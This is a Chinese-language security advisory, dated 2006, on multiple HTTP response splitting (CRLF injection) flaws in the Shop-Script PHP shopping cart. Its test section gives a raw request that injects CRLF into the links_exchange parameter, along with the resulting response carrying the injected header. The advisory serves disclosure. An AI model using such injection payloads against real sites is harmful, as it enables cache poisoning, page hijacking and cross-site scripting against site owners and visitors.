安全研究

安全漏洞
Shop-Script多个HTTP响应拆分漏洞

发布日期:2006-10-20
更新日期:2006-10-24

受影响系统:
WebAsyst LLC Shop-Script
描述:
BUGTRAQ  ID: 20685

Shop-Script是基于PHP的购物车脚本。

Shop-Script的多个链接受HTTP响应拆分(也被称为CRLF注入)攻击的影响,允许攻击者更改HTTP响应头结构,导致破坏Web缓存、劫持页面或执行跨站脚本。

<*来源:Debasis Mohanty (mail@hackingspirits.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=116164576921594&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

[请求头]

POST /premium/index.php?links_exchange=%0d%0aFakeHeader:Fake_Custom_Header
HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET
CLR 1.1.4322)
Host: www.shop-script-demo.com
Content-Length: 18
Cookie: PHPSESSID=e0d1c748db4ce6fa7886403e65458aaa
Connection: Close
Pragma: no-cache

current_currency=1

[响应头]

HTTP/1.1 302 Found
Date: Mon, 16 Oct 2006 17:39:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: index.php?links_exchange=
FakeHeader:Fake_Custom_Header            <= [Custome response injected by the attacker]
Content-Length: 0
Connection: close
Content-Type: text/html

建议:
厂商补丁:

WebAsyst LLC
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.shop-script.com/

浏览次数:3240
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障